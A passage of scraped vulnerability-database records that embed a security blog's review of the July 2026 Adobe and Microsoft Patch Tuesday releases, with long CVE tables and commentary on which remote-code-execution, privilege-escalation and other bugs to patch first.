Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:54.121139Z"}, {"uuid": "e61a13bb-933c-4df1-9a20-14a0c6c10a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54996", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 